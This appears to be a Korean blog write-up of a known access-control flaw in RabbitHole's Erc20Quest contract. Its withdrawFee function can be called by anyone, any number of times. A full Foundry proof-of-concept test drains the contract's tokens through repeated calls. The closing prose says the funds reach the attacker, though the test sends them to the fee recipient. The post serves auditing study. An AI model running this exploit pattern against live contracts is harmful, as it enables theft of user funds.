web3
[1-day] RabbitHole - Access Control
Tyojong
2025. 11. 8. 00:23
코드 분석

withdrawFee 함수는 퀘스트가 종료된 후 프로토콜 수수료를 수령인 주소로 송금하도록 설계되어있다.
여기서 말하는 "퀘스트"는 RabbitHole 프로젝트에서 진행하는 온체인 과제(미션)나 참여 이벤트를 가리킨다.
RabbitHole은 사용자들에게 특정 작업이나 활동을 수행하도록 미션을 제공하고, 사용자가 이를 완수하면 Proof(증명서)를 발급한 뒤, 보상(리워드 토큰 등)을 지급하는 시스템을 운영한다.
이 함수는 호출 횟수를 제한하는 보호장치가 없어서 여러 번 호출이 가능하고, 그 결과 의도한 양보다 더 많은 토큰이 수수료 수령인에게 송금될 수 있다. 이로 인해 컨트랙트의 자금이 탈취될 수 있다.

이 함수에서 사용된 onlyAdminWithdrawAfterEnd modifier를 확인해보면 admin만 접근이 가능할 것처럼 보이지만 실제 코드를 확인해보면 퀘스트 종료시간만 검증하고 다른 접근제어는 존재하지 않는다.
즉, 누구나 함수 호출이 가능하고 횟수 제한이 없기 때문에 종료 직후 컨트랙트 자금을 거의 모두 출금할 수 있다.
익스플로잇
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.15;
import "forge-std/Test.sol";
import "forge-std/Vm.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import "../contracts/QuestFactory.sol";
import "../contracts/ReceiptRenderer.sol";
import "../contracts/RabbitHoleReceipt.sol";
import "../contracts/TicketRenderer.sol";
import "../contracts/RabbitHoleTickets.sol";
import "../contracts/Erc20Quest.sol";
contract AuditTest is Test {
address deployer;
uint256 signerPrivateKey;
address signer;
address royaltyRecipient;
address minter;
address protocolFeeRecipient;
QuestFactory factory;
ReceiptRenderer receiptRenderer;
RabbitHoleReceipt receipt;
TicketRenderer ticketRenderer;
RabbitHoleTickets tickets;
ERC20 token;
// 사전 설정
function setUp() public {
deployer = makeAddr("deployer");
// 임의 EOA 생성
signerPrivateKey = 0x123;
signer = vm.addr(signerPrivateKey);
vm.label(signer, "signer");
// 고정된 프라이빗키로 서명자 주소 도출 & 라벨
royaltyRecipient = makeAddr("royaltyRecipient");
minter = makeAddr("minter");
protocolFeeRecipient = makeAddr("protocolFeeRecipient");
// 나머지 더미 계정들 생성
vm.startPrank(deployer);
// 트랜잭션 msg.sender를 deployer로 설정
// Receipt
receiptRenderer = new ReceiptRenderer();
RabbitHoleReceipt receiptImpl = new RabbitHoleReceipt();
receipt = RabbitHoleReceipt(
address(new ERC1967Proxy(address(receiptImpl), ""))
);
// 1967프록시 위에 Receipt 구현을 얹어 프록시 인스턴스 생성
receipt.initialize(
address(receiptRenderer),
royaltyRecipient,
minter,
0
);
// 프록시를 통해 Receipt 초기화
// factory
QuestFactory factoryImpl = new QuestFactory();
factory = QuestFactory(
address(new ERC1967Proxy(address(factoryImpl), ""))
);
// factory 프록시 인스턴스 생성
factory.initialize(signer, address(receipt), protocolFeeRecipient);
receipt.setMinterAddress(address(factory));
// factory 초기화 후 실제 민터 권한을 팩토리에 부여
// tickets
ticketRenderer = new TicketRenderer();
RabbitHoleTickets ticketsImpl = new RabbitHoleTickets();
tickets = RabbitHoleTickets(
address(new ERC1967Proxy(address(ticketsImpl), ""))
);
tickets.initialize(
address(ticketRenderer),
royaltyRecipient,
minter,
0
);
// 티켓 관련 프록시 (테스트 사용 X)
// ERC20 token
token = new ERC20("Mock ERC20", "MERC20");
factory.setRewardAllowlistAddress(address(token), true);
// ERC20 토큰 배포 후 토큰을 보상 토큰 화이트리스트에 등록 (퀘스트 생성 허용)
vm.stopPrank();
}
// Receipt 민팅 허가용 오프로프 서명 생성 헬퍼
function signReceipt(address account, string memory questId)
internal
view
returns (bytes32 hash, bytes memory signature)
{
hash = keccak256(abi.encodePacked(account, questId));
// 메시지 해시
bytes32 message = ECDSA.toEthSignedMessageHash(hash);
// personal_sign 스타일의 이더리움 서명 포맷으로 변환
(uint8 v, bytes32 r, bytes32 s) = vm.sign(signerPrivateKey, message);
// foundry 치트코드로 signerPrivateKey로 서명 생성
signature = abi.encodePacked(r, s, v);
// (r, s, v)를 바이트로 결합하여 반환
}
// 클레임 헬퍼
function claimReceipt(address account, string memory questId) internal {
(bytes32 hash, bytes memory signature) = signReceipt(account, questId);
// 위에서 만든 signReceipt로 사전서명 생성
vm.prank(account);
factory.mintReceipt(questId, hash, signature);
// 다음 한 번의 호출만 msg.sender = account로 설정 후 팩토리 민팅 요청
// 팩토리는 signer의 서명 검증 후 account에게 Receipt NFT 민팅
}
// 취약점 재현
function test_Erc20Quest_ProtocolFeeWithdrawMultipleTimes() public {
address alice = makeAddr("alice");
address attacker = makeAddr("attacker");
// alice = 참여자, attacker = 공격자
uint256 startTime = block.timestamp + 1 hours;
uint256 endTime = startTime + 1 hours;
uint256 totalParticipants = 1;
uint256 rewardAmountOrTokenId = 1 ether;
string memory questId = "a quest";
// 퀘스트 파라미터
vm.startPrank(deployer);
// 배포자 권한으로 실행
Erc20Quest quest = Erc20Quest(
factory.createQuest(
address(token),
endTime,
startTime,
totalParticipants,
rewardAmountOrTokenId,
"erc20",
questId
)
);
// 팩토리로 Erc20Quest 생성(보상 토큰=위에서 만든 ERC20)
uint256 rewards = totalParticipants * rewardAmountOrTokenId;
// 총 보상 금액
uint256 fees = (rewards * factory.questFee()) / 10_000;
// 프로토콜 수수료 금액 계산
deal(address(token), address(quest), rewards + fees);
// 토큰 잔고를 강제로 세팅
quest.start();
// 퀘스트 시작
vm.stopPrank();
claimReceipt(alice, questId);
// alice가 questId로 Receipt를 한 장 민팅
vm.warp(endTime);
// 체인 시간을 endTime으로 점프 (퀘스트 종료)
vm.startPrank(attacker);
// attacker 계정으로
uint256 protocolFee = quest.protocolFee();
uint256 withdrawCalls = (rewards + fees) / protocolFee;
// 총 금고를 인출액(수수료)로 나누어서 실행 횟수 계산
for (uint256 i = 0; i < withdrawCalls; i++) {
quest.withdrawFee();
}
// withdrawFee 계속 호출
assertEq(token.balanceOf(protocolFeeRecipient), rewards + fees);
assertEq(token.balanceOf(address(quest)), 0);
// 잔액 출력
vm.stopPrank();
}
}

Quest 시작 후 풀의 잔액을 확인하면 1.2e18만큼 들어있는 것을 볼 수 있다.

alice가 영수증 NFT 1개를 민팅한다.

퀘스트 종료 후 누적 수수료를 확인하면 2e17인 것을 확인할 수 있고

withdrawFee함수를 계속 호출하여 수수료 값만큼 공격자에게 여러번 보내게 된다.

실행 후 공격자 잔액과 풀의 잔액을 확인해보면 모든 자금이 이동된 것을 확인할 수 있다.